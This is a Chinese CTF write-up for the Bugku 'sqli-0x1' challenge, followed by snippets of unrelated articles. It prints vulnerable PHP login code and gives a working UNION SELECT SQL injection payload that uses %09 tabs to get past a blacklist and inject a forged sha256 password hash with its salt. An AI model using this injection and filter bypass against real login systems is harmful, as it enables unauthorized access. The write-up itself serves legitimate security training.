news 2026/5/11 23:33:30

bugku——sqli-0x1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bugku——sqli-0x1

尝试万能和密码

发现不行,查看源码。给了一个路径 /?pls_help

<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>

第一部分

function is_trying_to_hak_me($str)里过滤了

['空格][空格']["][`][空格`][`空格][>][<]

只能存在 [数字或字母'数字或字母]的格式。

第二部分

是对这个/?pls_help高亮的。

第三部分

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }

这里是先判断user和pass是不是非空的

然后中间,连接数据库,漏洞就出在这里,直接拼接$user。

然后重点是下面的部分

将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]

我们需要创造一个新的记录

我么假设密码是123是456

我们先构造password就是sha256(密码+盐)$盐

8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456

然后构造查询语句

a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

这里的%09是空格,不然会被第一部分过滤掉

答案就出来了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 8:18:51

7天拯救你的打印机:SUNNOD测试色卡终极指南

7天拯救你的打印机&#xff1a;SUNNOD测试色卡终极指南 【免费下载链接】SUNNOD标准打印测试色卡-PDF版 本仓库提供了一个名为“SUNNOD标准打印测试色卡-PDF版”的资源文件下载。该文件专为喷墨打印机设计&#xff0c;每周打印一次原图&#xff0c;有助于预防打印机堵头问题 …

作者头像 李华
网站建设 2026/5/12 13:15:56

职场经验:手把手教你压测..

身为后端程序员怎么也要会一点压力测试相关的技术吧, 不然无脑上线项目万一项目火了进来大量请求时出现程序执行缓慢, 宕机等情况你肯定稳稳背锅, 而且这个时候短时间内还没办法解决, 只能使用物理扩容CPU, 内存, 更换网络等几种方式来解决问题, 妥妥的为公司增加支出好吧, 下一…

作者头像 李华
网站建设 2026/5/1 15:43:04

从零开始掌握Microsoft Agent Framework:新手快速上手指南

从零开始掌握Microsoft Agent Framework&#xff1a;新手快速上手指南 【免费下载链接】agent-framework A framework for building, orchestrating and deploying AI agents and multi-agent workflows with support for Python and .NET. 项目地址: https://gitcode.com/Gi…

作者头像 李华
网站建设 2026/5/10 9:27:31

Headscale配置迷宫终极逃生指南:从混乱到掌控的探险之旅

你是否曾在Headscale配置的迷宫中迷失方向&#xff1f;面对环境变量、配置文件、命令行参数的层层迷雾&#xff0c;不知如何抉择&#xff1f;本指南将作为你的探险地图&#xff0c;带领你穿越配置管理的重重障碍&#xff0c;直达掌控的彼岸。Headscale配置管理不再是一个技术难…

作者头像 李华
网站建设 2026/5/8 21:21:27

Java代码author签名模板

#if (${PACKAGE_NAME} && ${PACKAGE_NAME} ! "")package ${PACKAGE_NAME};#end/*** author chenf* date ${YEAR}-${MONTH}-${DAY} ${HOUR}:${MINUTE}:${SECOND}* version 1.0.0*/ public class ${NAME} {}效果如下&#xff1a;使用办法&#xff1a;

作者头像 李华
网站建设 2026/5/11 10:24:39

自动化安全监测新突破:新一代测斜仪技术升级与行业应用

在岩土工程、煤矿勘探、基坑边坡监测、地质灾害预警等领域&#xff0c;深层水平位移监测的自动化、高效化、低成本化已成为行业核心需求。传统测斜仪在长期应用中暴露出人工依赖、数据不连续、维护繁琐等痛点&#xff0c;难以满足现代工程对实时预警与长期稳定监测的要求。随着…

作者头像 李华